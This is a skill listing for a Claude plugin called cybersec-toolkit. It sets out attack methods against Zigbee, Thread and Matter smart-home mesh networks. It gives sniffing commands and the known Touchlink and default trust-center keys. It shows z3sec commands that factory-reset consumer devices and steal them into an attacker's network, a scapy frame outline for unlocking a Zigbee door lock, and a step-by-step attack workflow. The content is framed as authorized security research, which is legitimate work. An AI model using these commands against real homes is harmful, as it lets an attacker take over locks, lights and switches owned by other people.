Stats
Actions
Tags
From cybersec-toolkit
Provides attack methodology for Zigbee, Thread, and Matter mesh protocols — sniffing, Touchlink abuse, replay/injection, and credential theft for authorized security research.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersec-toolkit:offensive-zigbee-thread-matterThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
802.15.4-based mesh protocols underpin most "smart home" devices. Zigbee is widely deployed and has well-known crypto-key-reuse issues; Thread (modern, IPv6-based) ships with stronger defaults; Matter unifies their commissioning model with stronger crypto but still has implementation pitfalls.
802.15.4-based mesh protocols underpin most "smart home" devices. Zigbee is widely deployed and has well-known crypto-key-reuse issues; Thread (modern, IPv6-based) ships with stronger defaults; Matter unifies their commissioning model with stronger crypto but still has implementation pitfalls.
| Adapter | Use |
|---|---|
| TI CC2531 USB stick | Cheap, works with Zigbee2MQTT, KillerBee |
| TI CC2540 / CC2652 | Zigbee + Thread + BLE |
| Sonoff Zigbee Dongle E (CC2652P) | Modern, well-supported |
| ApiMote (KillerBee dev) | Multi-channel, scapy-dot15d4 |
| HackRF + appropriate firmware | Lower-level RF flexibility |
# KillerBee suite
zbstumbler -i 0 # find Zigbee networks
zbid # ID coordinators
zbdump -c 11 -w zigbee.pcap # dump channel 11 to pcap
# scapy-dot15d4 for crafted frames
python3
>>> from scapy.contrib.dot15d4 import *
>>> sniff(iface='/dev/ttyACM0', count=50)
In Wireshark with the dot15d4 + zbee_nwk dissectors, you'll see frame counters, network keys (if joined), and ZCL commands.
Touchlink (used by Zigbee 3.0 commissioning, especially in lighting) uses a well-known transport key:
0x9F559A553B7A6B2C5C4FBB4E84956F3D
Many consumer Zigbee bulbs / strips accept Touchlink commissioning from any nearby radio with this key — joining them to your network or stealing them from theirs.
# z3sec — Zigbee 3 commissioning attack toolkit
git clone https://github.com/IoTsec/Z3sec
python z3sec_inter_pan.py --command "factory_reset_request" --device <addr>
python z3sec_inter_pan.py --command "join_network" --network <PANID>
Outcomes:
# Capture coordinator + joining device exchange
zbdump -c <ch> -w join.pcap
# Decrypt if you obtain the trust center link key
# Older Zigbee 1.x networks used a default trust center link key:
# ZigBeeAlliance09
# Modern networks use device-specific install codes
Once you have the network key, all traffic on that mesh is decrypted in Wireshark.
Zigbee Cluster Library defines on/off/level/lock clusters. With network key, you can issue commands as any device:
# scapy-dot15d4 frame to unlock a door lock
from scapy.contrib.dot15d4 import *
from scapy.contrib.zigbee import *
frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...)
sendp(frame, iface='/dev/ttyACM0')
The same primitive opens locks, toggles switches, dims lights, or floods the network with control traffic.
Thread (used by Apple HomePod, Nest, Eero) uses 802.15.4 with IPv6 (6LoWPAN) and stronger commissioning crypto.
Attack surface:
Matter unifies Zigbee/Thread/Wi-Fi device onboarding under one commissioning model:
Attack surface:
offensive-bluetooth-ble)# 1. Identify networks + channels
zbstumbler -i 0
# 2. Sniff target channel
zbdump -c <ch> -w cap.pcap
# Open in Wireshark with dot15d4/zigbee dissectors
# 3. Touchlink attack on consumer Zigbee 3.0 lighting
python z3sec_inter_pan.py --command "factory_reset_request" --target <addr>
# 4. Steal device into attacker network
python z3sec_inter_pan.py --command "join_network" --target <addr>
# 5. With network key, issue ZCL commands directly
# (custom scapy-dot15d4 + zbee_nwk frames)
# 6. For Thread: focus on commissioner / PSKc theft from companion apps
npx claudepluginhub 26zl/cybersec-toolkit --plugin cybersec-toolkitAnalyzes Z-Wave smart home security: S0 key derivation flaw, S2 ECDH commissioning review, replay/injection on unauthenticated nodes, and hub pivots. For authorized security assessments of door locks, sensors, and garage controllers.
Detects and analyzes Bluetooth Low Energy (BLE) security attacks including sniffing, replay, GATT enumeration abuse, and MitM interception using Ubertooth One and nRF52840 sniffers.
Detects and analyzes BLE security attacks like sniffing, replay, GATT enumeration abuse, and MITM using Ubertooth One, nRF52840, bleak Python library, and crackle. For IoT device assessments and authorized pentesting.